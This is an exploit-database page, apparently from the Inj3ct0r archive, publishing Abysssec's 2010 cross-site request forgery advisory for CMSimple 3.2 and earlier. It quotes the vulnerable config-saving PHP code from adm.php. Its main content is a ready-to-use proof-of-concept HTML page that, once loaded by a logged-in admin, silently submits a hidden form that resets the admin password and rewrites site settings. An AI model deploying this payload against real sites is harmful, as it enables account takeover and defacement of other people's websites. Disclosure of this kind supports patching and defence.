Home / os / win7

[webapps / 0day] - CMSimple XSRF Vulnerability

Posted on 18 September 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>CMSimple XSRF Vulnerability | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Exploit category: webapps / 0day | Exploit author: Abysssec' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>===========================
CMSimple XSRF Vulnerability
===========================

- Title  : CMSimple XSRF Vulnerability
- Affected Version :CMSimple  &lt;=3.2
- Vendor  Site   : www.cmsimple.org
 
- Discovery : Abysssec
  
  
- Description :
===============
CMSimple is one of the smallest, smartest and most simple Content Management Systems under the GPL or AGPL licence.
This CMS supported Multi language.
 
- Vulnerability:
==================
XSRFs
--------
Several XSRF existed in this CMS, attacker can use them for: changing admin password ,change use type or  ,Deface the website.
 
Here is vulnerable code:
 
    file:cmsimple/adm.php[line 141-180]:
                if ($action == &#039;save&#039;) {
                    if ($form == &#039;array&#039;) {
                        $text = &quot;&lt;?php
&quot;;
                        foreach($GLOBALS[$a] as $k1 =&gt; $v1) {
                            if (is_array($v1)) {
                                foreach($v1 as $k2 =&gt; $v2) {
                                    if (!is_array($v2)) {
                                        initvar($k1.&#039;_&#039;.$k2);
                                        $GLOBALS[$a][$k1][$k2] = $GLOBALS[$k1.&#039;_&#039;.$k2];
                                        $GLOBALS[$a][$k1][$k2] = stsl($GLOBALS[$a][$k1][$k2]);
                                        if ($k1.$k2 == &#039;editorbuttons&#039;)$text .= &#039;$&#039;.$a.&#039;[&#039;&#039;.$k1.&#039;&#039;][&#039;&#039;.$k2.&#039;&#039;]=&#039;&#039;.$GLOBALS[$a][$k1][$k2].&#039;&#039;;&#039;;
                                        else $text .= &#039;$&#039;.$a.&#039;[&#039;&#039;.$k1.&#039;&#039;][&#039;&#039;.$k2.&#039;&#039;]=&quot;&#039;.preg_replace(&quot;/&quot;/s&quot;, &quot;&quot;, $GLOBALS[$a][$k1][$k2]).&#039;&quot;;&#039;.&quot;
&quot;;
                                    }
                                }
                            }
                        }
                        $text .= &#039;?&gt;&#039;;
                    }
                    else $text = rmnl(stsl($text));
                    if ($fh = @fopen($pth[&#039;file&#039;][$file], &quot;w&quot;)) {
                        fwrite($fh, $text);
                        fclose($fh);
                        if ($file == &#039;config&#039; || $file == &#039;language&#039;) {
                            if (!@include($pth[&#039;file&#039;][$file]))e(&#039;cntopen&#039;, $file, $pth[&#039;file&#039;][$file]);
                            if ($file == &#039;config&#039;) {
                                $pth[&#039;folder&#039;][&#039;template&#039;] = $pth[&#039;folder&#039;][&#039;templates&#039;].$cf[&#039;site&#039;][&#039;template&#039;].&#039;/&#039;;
                                $pth[&#039;file&#039;][&#039;template&#039;] = $pth[&#039;folder&#039;][&#039;template&#039;].&#039;template.htm&#039;;
                                $pth[&#039;file&#039;][&#039;stylesheet&#039;] = $pth[&#039;folder&#039;][&#039;template&#039;].&#039;stylesheet.css&#039;;
                                $pth[&#039;folder&#039;][&#039;menubuttons&#039;] = $pth[&#039;folder&#039;][&#039;template&#039;].&#039;menu/&#039;;
                                $pth[&#039;folder&#039;][&#039;templateimages&#039;] = $pth[&#039;folder&#039;][&#039;template&#039;].&#039;images/&#039;;
                                if (!(preg_match(&#039;//[A-z]{2}/[^/]*/&#039;, sv(&#039;PHP_SELF&#039;)))) {
                                    $sl = $cf[&#039;language&#039;][&#039;default&#039;];
                                    $pth[&#039;file&#039;][&#039;language&#039;] = $pth[&#039;folder&#039;][&#039;language&#039;].$sl.&#039;.php&#039;;
                                    if (!@include($pth[&#039;file&#039;][&#039;language&#039;]))die(&#039;Language file &#039;.$pth[&#039;file&#039;][&#039;language&#039;].&#039; missing&#039;);
                                }
                            }
                        }
                    }
                    else e(&#039;cntwriteto&#039;, $file, $pth[&#039;file&#039;][$file]);
                }
     
    +POC:
        show this code as html page to CMS Admin:
            &lt;html&gt;
            &lt;head&gt;
            &lt;title&gt;Change Password and Deface site.&lt;/title&gt;
            &lt;script&gt;
                function creat_request (path,parameter,method) {
                method = method || &quot;post&quot;;
                var remote_dive = document.createElement(&#039;div&#039;);
                remote_dive.id = &#039;Div_id&#039;;
                var style = &#039;border:0;width:0;height:0;&#039;;
                remote_dive.innerHTML = &quot;&lt;iframe name=&#039;iframename&#039; id=&#039;iframeid&#039; style=&#039;&quot;+style+&quot;&#039;&gt;&lt;/iframe&gt;&quot;;
                document.body.appendChild(remote_dive);
                var form = document.createElement(&quot;form&quot;);
                form.setAttribute(&quot;method&quot;, method);
                form.setAttribute(&quot;action&quot;, path);
                form.setAttribute(&quot;target&quot;, &quot;iframename&quot;);
                 
                for(var key in parameter) {
                var hiddenField = document.createElement(&quot;input&quot;);
                hiddenField.setAttribute(&quot;type&quot;, &quot;hidden&quot;);
                hiddenField.setAttribute(&quot;name&quot;, key);
                hiddenField.setAttribute(&quot;value&quot;, parameter[key]);
                      form.appendChild(hiddenField);
                    }
                document.body.appendChild(form); 
                form.submit();
                }   
                function  bypass(){
                      creat_request(&#039;http://site.com/cmsimple/&#039;,{&#039;security_password&#039;:&#039;test1&#039;,&#039;security_type&#039;:&#039;page&#039;,&#039;site_title&#039;:&#039;ALERT.&#039;,&#039;site_template&#039;:&#039;default&#039;,&#039;language_default&#039;:&#039;en&#039;,&#039;meta_keywords&#039;:&#039;CMSimple%2C+Content+Management+System%2C+php&#039;,&#039;meta_description&#039;:&#039;CMSimple+is+a+simple+content+management+system+for+smart+maintainance+of+small+commercial+or+private+sites.+It+is+simple+-+small+-+smart%21&#039;,&#039;backup_numberoffiles&#039;:&#039;5&#039;,&#039;images_maxsize&#039;:&#039;150000&#039;,&#039;downloads_maxsize&#039;:&#039;1000000&#039;,&#039;mailform_email&#039;:&#039;&#039;,&#039;editor_height&#039;:&#039;%28screen.availHeight%29-400&#039;,&#039;editor_external&#039;:&#039;&#039;,&#039;menu_color&#039;:&#039;000000&#039;,&#039;menu_highlightcolor&#039;:&#039;808080&#039;,&#039;menu_levels&#039;:&#039;3&#039;,&#039;menu_levelcatch&#039;:&#039;10&#039;,&#039;menu_sdoc&#039;:&#039;&#039;,&#039;menu_legal&#039;:&#039;CMSimple+Legal+Notices&#039;,&#039;uri_seperator&#039;:&#039;%3A&#039;,&#039;uri_length&#039;:&#039;200&#039;,&#039;xhtml_endtags&#039;:&#039;&#039;,&#039;xhtml_amp&#039;:&#039;true&#039;,&#039;plugins_folder&#039;:&#039;&#039;,&#039;functions_file&#039;:&#039;functions.php&#039;,&#039;scripting_regexp&#039;:&#039;%5C%23CMSimple+%28.*%3F%29%5C%23&#039;,&#039;form&#039;:&#039;array&#039;,&#039;file&#039;:&#039;config&#039;,&#039;action&#039;:&#039;save&#039;});
                }
 
            &lt;/script&gt;
            &lt;/head&gt;
            &lt;body onload=&quot;bypass();&quot; &gt;
            &lt;/body&gt;
            &lt;/html&gt;


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-18]</pre></body></html>

 

TOP

Malware :

Exploits :